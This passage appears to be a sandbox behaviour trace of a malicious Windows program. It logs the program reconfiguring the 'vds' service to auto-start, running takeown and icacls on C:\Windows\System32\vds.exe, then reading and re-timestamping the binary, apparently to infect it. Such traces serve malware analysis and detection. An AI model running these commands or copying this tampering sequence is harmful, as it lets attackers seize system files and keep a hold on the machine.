Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0225.100] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0225.100] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1a48, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.100] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0225.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.100] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f1e38*, cbData=0x11 | out: lpData=0x21f1e38*) returned 0x0 [0225.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0225.101] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.102] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.103] RegQueryValueExA (in: hKey=0x150, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x0, lpcbData=0x36f458*=0x0 | out: lpType=0x36f450*=0x2, lpData=0x0, lpcbData=0x36f458*=0x1e) returned 0x0 [0225.103] RegQueryValueExA (in: hKey=0x150, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x21f1c88, lpcbData=0x36f458*=0x1e | out: lpType=0x36f450*=0x2, lpData="%SystemRoot%\\System32\\vds.exe", lpcbData=0x36f458*=0x1e) returned 0x0 [0225.103] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\vds.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1d [0225.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.103] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\vds.exe", lpDst=0x21f1d60, nSize=0x1d | out: lpDst="C:\\Windows\\System32\\vds.exe") returned 0x1c [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.104] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0225.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpWideCharStr=0x21f2e28, cchWideChar=27 | out: lpWideCharStr="C:\\Windows\\System32\\vds.exe") returned 27 [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0225.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0225.104] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\vds.exe" [0225.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0225.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0225.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0225.151] LocalFree (hMem=0x7e2238) returned 0x0 [0225.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0225.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\vds.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0225.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\vds.exe", cchWideChar=27, lpMultiByteStr=0x21f1d60, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\vds.exe", lpUsedDefaultChar=0x0) returned 27 [0225.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.152] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0225.152] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x2) returned 0x803990 [0225.152] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0225.174] CloseServiceHandle (hSCObject=0x803990) returned 1 [0225.175] RegCloseKey (hKey=0x150) returned 0x0 [0225.175] RegCloseKey (hKey=0xc4) returned 0x0 [0225.177] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0225.177] GetLastError () returned 0x5 [0225.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0225.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0225.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0225.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0225.177] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe", lpProcessInformation=0x36f4a4*(hProcess=0x150, hThread=0xc4, dwProcessId=0x8d8, dwThreadId=0x8dc)) returned 1 [0225.180] NtClose (Handle=0xc4) returned 0x0 [0225.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0225.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0225.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0225.181] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0225.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0225.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0225.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0225.402] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x154, hThread=0xc4, dwProcessId=0x8f0, dwThreadId=0x8f4)) returned 1 [0225.405] NtClose (Handle=0xc4) returned 0x0 [0225.405] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0225.405] NtClose (Handle=0x150) returned 0x0 [0225.405] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0225.658] NtClose (Handle=0x154) returned 0x0 [0225.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0225.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0225.659] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84a159cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82400)) returned 1 [0225.659] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0225.659] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0225.659] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x82400 [0225.659] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0225.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x82400) returned 0x2340020 [0225.660] ReadFile (in: hFile=0x154, lpBuffer=0x2340020, nNumberOfBytesToRead=0x82400, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x36f53c*=0x82400, lpOverlapped=0x0) returned 1 [0225.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x82400) returned 0x2530020 [0225.684] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, 